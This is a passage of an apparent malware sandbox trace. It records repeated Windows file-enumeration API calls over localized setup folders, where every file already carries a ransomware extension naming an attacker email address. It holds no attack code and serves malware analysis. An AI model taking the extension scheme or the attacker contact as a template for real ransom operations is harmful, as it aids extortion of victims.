hHeap=0x4f0000) returned 1 [0224.205] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0224.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.205] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5735a8 [0224.281] FindNextFileW (in: hFindFile=0x5735a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.281] FindNextFileW (in: hFindFile=0x5735a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d792f4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.281] FindNextFileW (in: hFindFile=0x5735a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.282] FindNextFileW (in: hFindFile=0x5735a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ce0a69, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ce0a69, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.282] FindNextFileW (in: hFindFile=0x5735a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ce0a69, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ce0a69, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d06afb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.282] FindClose (in: hFindFile=0x5735a8 | out: hFindFile=0x5735a8) returned 1 [0224.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.282] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0224.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.282] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5732e8 [0224.283] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.283] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b59859, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b59859, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b634a2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.283] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b891d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b891d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2baf733, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.283] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f42fe6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.283] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f42fe6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.283] FindClose (in: hFindFile=0x5732e8 | out: hFindFile=0x5732e8) returned 1 [0224.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.284] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0224.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.284] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.284] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.284] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b731fe, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b731fe, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b7ceaa, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.284] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2b891d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b891d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ed0889, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.285] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.285] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d06afb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d06afb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fdb921, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.285] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.285] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0224.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.285] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573268 [0224.286] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.286] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2baf733, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2baf733, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2baf733, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.286] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2baf733, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2baf733, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2bd5999, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.286] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2dc7669, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2dc7669, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.286] FindNextFileW (in: hFindFile=0x573268, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2dc7669, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2dc7669, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.286] FindClose (in: hFindFile=0x573268 | out: hFindFile=0x573268) returned 1 [0224.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.287] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0224.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.287] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573328 [0224.287] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.287] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d2ce9a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d2ce9a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d2ce9a, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.287] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d2ce9a, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d2ce9a, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d53173, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.287] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.288] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.288] FindClose (in: hFindFile=0x573328 | out: hFindFile=0x573328) returned 1 [0224.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.288] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0224.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.288] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.289] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.289] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d53173, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d53173, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d53173, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.289] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d792f4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d792f4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d792f4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.289] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.289] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.289] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.290] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: 